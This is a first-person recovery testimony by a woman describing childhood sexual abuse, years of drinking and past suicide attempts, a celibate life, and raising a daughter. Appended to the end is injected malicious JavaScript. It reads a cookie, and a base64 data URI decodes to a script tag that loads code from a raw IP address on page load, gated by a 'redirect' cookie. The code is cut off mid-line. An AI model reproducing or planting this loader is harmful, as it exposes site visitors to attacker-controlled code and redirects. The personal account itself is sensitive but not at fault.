When I was 9, my mother’s boyfriend began sticking his hand up my shirt and making inappropriate suggestions. I spoke up but the situation was pushed aside due to my mother’s inability to accept responsibility. I’m not sure what else transpired, I have blocked out many things, but from this situation on I was identified as an easy target. Situations my parents left me in enabled others to hurt me and twist my relationship with men until the age of 19. For years my only sexual experiences were when I was drunk, a habit I broke at 23 when I had my daughter after a drunken encounter with a “friend” in England. I am now 40 and she is 17. Over the years my inability to deal with men and sex has resulted in a celibate and single lifestyle. I have spent the last 17 years protecting my daughter from the evils that hurt me when I was young, and I am proud to say that my child is an unbroken strong beautiful young lady. My only regret is that she has no idea what a healthy relationship with a man looks like because her mother never dated or let men near her. I’ve tried therapy, but always found that there is just too much to inform the counselor about for them to even begin to understand me, so I have become my own therapist. My present circumstance is that of a plane in a holding pattern, managing to stay in the air but fearful of running out of fuel and crashing. I manage to hold a purposeful job, support my daughter and maintain a bubble around us both; however, I wonder what it would be like to reach out and find a man to build a life with in the future. I don’t know if I will ever trust enough to reach out, because I am haunted by the knowledge that one wrong move could shatter the bubble of safety I’ve built around us. I have spent years of my life trying to kill myself, depressed and running away from my reality. I have accepted that I will never remember the first ten years of my life, and I have even become thankful for whatever my mind is selecting to forget, as I fear the unknown. The fact is that I was broken as a child and that will never change. I’m posting a picture of myself as the child I hope was once whole, with my story to join the dialogue of recovery, even though I have no idea where I will end up. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘